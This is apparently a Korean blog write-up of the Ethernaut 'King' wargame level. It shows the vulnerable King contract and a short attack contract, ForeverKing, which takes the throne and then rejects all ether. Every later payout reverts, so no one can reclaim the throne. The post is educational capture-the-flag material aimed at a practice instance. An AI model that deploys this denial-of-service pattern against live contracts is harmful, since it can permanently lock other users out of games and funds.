티스토리 뷰

Solidity/Hacking

[Ethernaut] 9. King

piatoss 2024. 1. 20. 12:00

1. 문제

 아래의 컨트랙트는 아주 간단한 게임입니다. 현재 컨트랙트의 상금보다 더 많은 금액을 컨트랙트에게 보내는 누구나 새로운 왕이 될 수 있습니다. 이 게임을 완전히 망가트려 보세요.

 *주의* 인스턴스를 제출할 때 관리자는 왕권을 다시 탈환하려 할 것입니다. 그러한 행위가 불가능하도록 하세요.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

2. 해법

 문제의 King 컨트랙트는 fallack 함수에서 이더를 받으면서 별도의 로직을 실행합니다. 만약 fallback 함수를 호출한 계정이 상금보다 더 크거나 같은 양의 이더를 보냈다면 이전 왕에게 해당 금액을 전송하고 새로운 왕을 옹립(?)합니다. 이 부분이 유일하게 왕권을 탈취할 수 있는 부분이죠. 요리조리 뜯어봐도 아무 문제가 없어보입니다.

 

 그러나 기억을 더듬어 우리는  이전 문제들에서 스마트 컨트랙트는 fallback 함수없이는 일반적으로 이더를 전송받을 수 없다는 것을 배웠습니다. receive 함수에서 transfer 함수가 revert된다면 아무리 주인이라고 해도 왕권을 되찾긴 힘들 것입니다. 즉, fallback 함수가 없는 컨트랙트를 활용하여 컨트랙트를 공격하면 이 문제를 해결할 수 있습니다.

 

 다음의 컨트랙트를 작성하고 Remix IDE를 활용하여 배포합니다. 생성자에는 King 인스턴스의 주소를 넘겨줍니다. 컨트랙트 이름하고 함수 이름은 일부러 간지나게 지었습니다.

contract ForeverKing {
  address payable public king;

  constructor(address _king) {
    king = payable(_king);
  }

  function usurpTheThrone() public payable {
    King instance = King(king);
    require(msg.value >= instance.prize());
    (bool ok, ) = king.call{value: msg.value}("");
    require(ok);
  }
}

 

 

 상금으로는 0.01 이더가 걸려있으므로 그 이상의 금액을 입력하고 usurpTheThrone 함수를 실행해 줍니다.

 

 이제 왕은 ForeverKing 컨트랙트이고 이 컨트랙트는 fallback 함수를 가지고 있지 않기 때문에 King 컨트랙트의 receive 함수에서 실행되는 transfer는 절대 결코 revert됩니다. 따라서 그 누구도 왕권을 탈취할 수 없습니다. 이제 제출하면 마무리입니다.


3. 결론

오늘은 다 배운 내용이라 마땅히 할 말이 없네요.

 

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 11. Elevator  (1) 2024.01.23
[Ethernaut] 10. Re-entrancy  (0) 2024.01.22
[Ethernaut] 8. Vault  (0) 2024.01.18
[Ethernaut] 7. Force  (0) 2024.01.17
[Ethernaut] 6. Delegation  (0) 2024.01.16
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함